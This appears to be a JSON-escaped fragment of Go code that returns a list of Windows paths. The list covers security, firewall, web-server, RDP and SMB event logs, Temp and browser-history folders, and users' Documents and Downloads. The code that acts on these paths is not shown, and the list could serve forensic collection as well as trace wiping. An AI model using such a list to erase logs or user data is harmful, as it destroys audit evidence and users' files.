[]string{\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Application.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\System.evtx\",\n\t\t\"C:\\\\Program Files\\\\Apache Group\\\\Apache2\\\\logs\\\\access.log\",\n\t\t\"C:\\\\Program Files\\\\Apache Group\\\\Apache2\\\\logs\\\\error.log\",\n\t\t\"C:\\\\Program Files (x86)\\\\IIS Express\\\\Logs\\\\IISExpress.log\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-User Profile Service%4Operational.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-DNS-Client%4Operational.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-DNS-Server%4Analytical.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\LogFiles\\\\Firewall\\\\pfirewall.log\",\n\t\t\"C:\\\\Windows\\\\System32\\\\LogFiles\\\\W3SVC1\\\\\",\n\t\t\"C:\\\\Windows\\\\System32\\\\LogFiles\\\\HTTPERR\\\\httperr1.log\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-Security-Auditing.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-TaskScheduler%4Operational.evtx\",\n\t\t\"C:\\\\Windows\\\\Temp\",\n\t\tfilepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Local\\\\Temp\"),\n\t\tfilepath.Join(\"C:\\\\Users\", username, \"AppData\\\\LocalLow\\\\Temp\"),\n\t\tfilepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\"),\n\t\tfilepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Local\\\\Microsoft\\\\Windows\\\\INetCache\"),\n\t\tfilepath.Join(\"C:\\\\Users\", username, \"AppData\\\\Local\\\\Microsoft\\\\Windows\\\\History\"),\n\t\tfilepath.Join(\"C:\\\\Users\", username, \"Documents\"),\n\t\tfilepath.Join(\"C:\\\\Users\", username, \"Downloads\"),\n\t\t\"C:\\\\inetpub\\\\logs\\\\LogFiles\\\\W3SVC1\\\\\",\n\t\t\"C:\\\\inetpub\\\\logs\\\\FailedReqLogFiles\\\\\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-SMBClient\\\\Operational.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS\\\\Operational.evtx\",\n\t\t\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Microsoft-Windows-TerminalServices-LocalSessionManager\\\\Operational.evtx\",\n\t}\n}\n"
  }
]